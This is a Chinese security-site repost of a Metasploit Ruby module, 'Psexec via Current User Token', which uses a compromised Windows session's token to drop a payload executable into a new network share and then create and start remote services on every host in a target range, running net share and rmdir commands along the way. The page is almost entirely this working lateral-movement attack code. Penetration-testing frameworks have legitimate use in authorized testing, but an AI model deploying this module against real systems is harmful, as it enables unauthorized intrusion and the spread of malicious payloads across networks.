首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Psexec Via Current User Token
来源:http://www.metasploit.com 作者:jabra 发布时间:2012-08-06  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/services'

class Metasploit3 < Msf::Exploit::Local
  include Post::Windows::WindowsServices
  include Exploit::EXE
  include Post::File
  include Post::Common

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Psexec via Current User Token',
        'Description'   => %q{
          This module uploads an executable file to the victim system, creates
          a share containing that executable, creates a remote service on each
          target system using a UNC path to that file, and finally starts the
          service(s).

          The result is similar to psexec but with the added benefit of using
          the session's current authentication token instead of having to know
          a password or hash.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [
            'egypt',
            'jabra'  # Brainstorming and help with original technique
          ],
        'References'    => [
            # same as for windows/smb/psexec
            [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
            [ 'OSVDB', '3106'],
            [ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
          ],
        'Version'       => '$Revision
, 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Universal', {} ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new("INTERNAL_ADDRESS", [ false, "Session's internal address or hostname for the victims to grab the "+ "payload from (Default: detected)" ]), OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]), OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]), OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), ]) end def exploit name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10) display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10) # XXX Find the domain controller #share_host = datastore["INTERNAL_ADDRESS"] || detect_address share_host = datastore["INTERNAL_ADDRESS"] || session.session_host print_status "Using #{share_host} as the internal address for victims to get the payload from" # Build a random name for the share and directory share_name = Rex::Text.rand_text_alphanumeric(8) drive = session.fs.file.expand_path("%SYSTEMDRIVE%") share_dir = "#{drive}\\#{share_name}" # Create them print_status("Creating share #{share_dir}") session.fs.dir.mkdir(share_dir) cmd_exec("net share #{share_name}=#{share_dir}") # Generate an executable from the shellcode and drop it in the share # directory filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe" payload_exe = generate_payload_exe_service( :servicename => name, # XXX Ghetto :arch => payload.send(:pinst).arch.first ) print_status("Dropping payload #{filename}") write_file("#{share_dir}\\#{filename}", payload_exe) service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}" begin Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| begin print_status("#{server.ljust(16)} Creating service #{name}") # 3 is Manual startup. Should probably have constants for this junk service_create(name, display_name, service_executable, 3, server) # If everything went well, this will create a session. If not, it # might be permissions issues or possibly we failed to create the # service. print_status("#{server.ljust(16)} Starting the service") service_start(name, server) print_status("#{server.ljust(16)} Deleting the service") service_delete(name, server) rescue print_error("Exception running payload: #{$!.class} : #{$!}") print_error("#{server.ljust(16)} WARNING: May have failed to clean up!") print_error("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}") next end end ensure print_status("Deleting share #{share_name}") cmd_exec("net share #{share_name} /delete /y") print_status("Deleting files #{share_dir}") cmd_exec("cmd /c rmdir /q /s #{share_dir}") end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer Fi
·httpdx 1.5.5 Denial of Service
·WebPageTest Arbitrary PHP File
·Nvidia Linux Driver Privilege
·pBot Remote Code Execution
·Dell SonicWALL Scrutinizer 9 S
·SC DHCP 4.1.2 Denial Of Servic
·Zenoss 3 showDaemonXMLConfig C
·Microsoft Office SharePoint Se
·FreeBSD Kernel SCTP Remote NUL
·AxMan ActiveX fuzzing <== Memo
·CoolPlayer Portable 2.19.2 Buf
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved